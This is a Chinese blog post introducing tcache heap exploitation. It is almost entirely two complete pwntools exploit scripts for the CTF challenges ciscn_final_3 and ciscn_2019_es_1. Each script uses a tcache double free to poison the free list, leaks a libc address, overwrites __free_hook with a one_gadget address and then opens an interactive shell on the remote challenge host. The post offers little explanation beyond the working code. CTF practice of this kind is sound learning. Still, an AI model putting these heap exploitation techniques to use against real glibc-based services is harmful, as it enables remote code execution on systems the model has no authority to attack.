pwn 堆入门之tcache


阅读数: 次   
字数统计: 821字   |   阅读时长: 5分

ciscn_final_3
ciscn_2019_es_1

@TOC

ciscn_final_3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
#!/usr/bin/env python3
# coding=utf-8

from pwn import *

arch = "amd64"
filename = "ciscn_final_3"

context(os="linux", arch=arch, log_level="debug")
content = 0

offset = 0
# elf
elf = ELF(filename)


# libc
libc=ELF("/home/giantbranch/Desktop/ctfpwn/clibcc/pwn-change-libc-main/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
ogg_libc=[0x4f2c5,0x4f322,0x10a38c]
def add(idx,size,payload):
    io.recvuntil("choice > ")
    io.sendline("1")
    io.recvuntil("input the index")
    io.sendline(str(idx))
    io.recvuntil("input the size")
    io.sendline(str(size))
    io.recvuntil("now you can write something")
    io.send(payload)

def free(idx):
    io.recvuntil("choice > ")
    io.sendline("2")
    io.recvuntil("input the index")
    io.sendline(str(idx))

def b(addr):
    bk = "b *$rebase" + str(addr)
    gdb.attach(io, bk)
    success("attach")

def main():
    global io
    if content == 0:
        io = process("./" + filename)
    else:
        io = remote("node3.buuoj.cn",26857)
    #$$$$#1
    add(0, 0x60, b'bbbb')
    io.recvuntil("gift :")
    addr1 = int(io.recv(14), 16) - 0x10
    print("addr1:", hex(addr1))
    add(1, 0x20, b'bbbb')
    for i in range(2, 13):
        add(i, 0x60, b'bbbb')
    free(1)
    free(3)
    #free(4)
    free(12)
    free(12)
    add(13, 0x60, p64(addr1))
    add(14, 0x60, p64(addr1))
    add(15, 0x60, p64(0) + p64(0x491))
    free(0)
    add(16,0x60,b'aaaa')
    add(17,0x20,b'\xa0')
    add(18,0x20,b'\xd0')
    io.recvuntil("gift :")
    malloc_hook = int(io.recv(14), 16) - 96 - 0x10
    print("malloc_hook:", hex(malloc_hook))
    ####count####
    libcbase = malloc_hook - libc.symbols['__malloc_hook']
    free_hook = libcbase + libc.symbols['__free_hook']
    ogg_addr = libcbase + ogg_libc[1]
    ####write_free_hook####
    #b(0x0000000000000F71)

    free(0)
    free(0)
    add(19, 0x60, p64(free_hook))
    add(20, 0x60, p64(free_hook))
    add(21, 0x60, p64(ogg_addr))
    free(21)
    '''
    #$$$$#2
    ####fix_size>0x400####
    add(0,0x60,b'bbbb')
    add(1,0x60,b'bbbb')
    io.recvuntil("gift :")
    addr1=int(io.recv(14),16)-0x10
    print("addr1:",hex(addr1))
    for i in range(2,13):
        add(i, 0x60, b'bbbb')
    ####fix_tcache_num####
    free(8)
    free(9)
    ####unsorted_bin####
    free(0)
    free(0)
    add(13,0x60,p64(addr1))
    add(14,0x60,p64(addr1))
    add(15,0x60,p64(0)+p64(0x4d1))
    free(1)
    ####fix_tcache_num####
    free(3)
    free(4)
    ####leak####
    free(0)
    free(0)
    add(19, 0x60, p64(addr1+0x10))
    add(20, 0x60, p64(addr1+0x10))
    add(21, 0x60 ,b'\xa0')
    add(22,0x60,b'\x10')
    io.recvuntil("gift :")
    malloc_hook = int(io.recv(14), 16) - 96-0x10
    print("malloc_hook:", hex(malloc_hook))

    ####count####
    libcbase=malloc_hook-libc.symbols['__malloc_hook']
    free_hook=libcbase+libc.symbols['__free_hook']
    ogg_addr=libcbase+ogg_libc[1]
    ####write_free_hook####
    free(0)
    free(0)
    add(23, 0x60, p64(free_hook))
    add(16, 0x60, p64(free_hook))
    add(17, 0x60, p64(ogg_addr))
    #b(0x0000000000000F71)
    free(17)
    '''


    io.interactive()
main()

ciscn_2019_es_1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/env python2
# coding=utf-8
from pwn import *

arch = "amd64"
filename = "ciscn_2019_es_1"

context(os="linux", arch=arch, log_level="debug")
content = 1

offset = 0
# elf
elf = ELF(filename)


# libc
libc=ELF("/home/giantbranch/Desktop/ctfpwn/buu/libc/18-64libc-2.27.so")
ogg_libc=[0x4f2c5,0x4f322,0x10a38c]

def b(addr):
    bk = "b *$rebase" + str(addr)
    gdb.attach(io, bk)
    success("attach")

def add(size,name,info):
    io.recvuntil("choice:")
    io.sendline("1")
    io.recvuntil("Please input the size of compary's name")
    io.sendline(str(size))
    io.recvuntil("please input name:")
    io.sendline(name)
    io.recvuntil("please input compary call:")
    io.sendline(info)

def show(idx):
    io.recvuntil("choice:")
    io.sendline("2")
    io.recvuntil("Please input the index:")
    io.sendline(str(idx))

def call(idx):
    io.recvuntil("choice:")
    io.sendline("3")
    io.recvuntil("Please input the index:")
    io.sendline(str(idx))

def main():
    global io
    if content == 0:
        io = process("./" + filename)
    else:
        io = remote("node3.buuoj.cn",28556)
    add(0x410,b'aaaa',b'bbbb')
    add(0x60, b'aaaa', b'bbbb')
    call(0)
    show(0)
    io.recvuntil("name:")
    malloc_hook=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-96-0x10
    print("malloc_hook:",hex(malloc_hook))
    ####count####
    libcbase = malloc_hook - libc.symbols['__malloc_hook']
    free_hook = libcbase + libc.symbols['__free_hook']
    ogg_addr = libcbase + ogg_libc[1]
    call(1)
    call(1)
    add(0x60,p64(free_hook),b'aa')
    add(0x60, p64(free_hook),b'aa')
    add(0x60,p64(ogg_addr),b'cc')
    call(0)
    #b(0x0000000000011C5)
    io.interactive()
main()


-------------本文结束感谢您的阅读-------------



赏

谢谢你请我吃糖果

扫一扫，分享到微信

微信分享二维码
本站总访问量次 本站访客数人次

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

朱登榜，来自河南郑州，河南大学学生，倘若文章有错误，望提醒修正，感谢！<br>qq:879322660<br>微信:z15981855791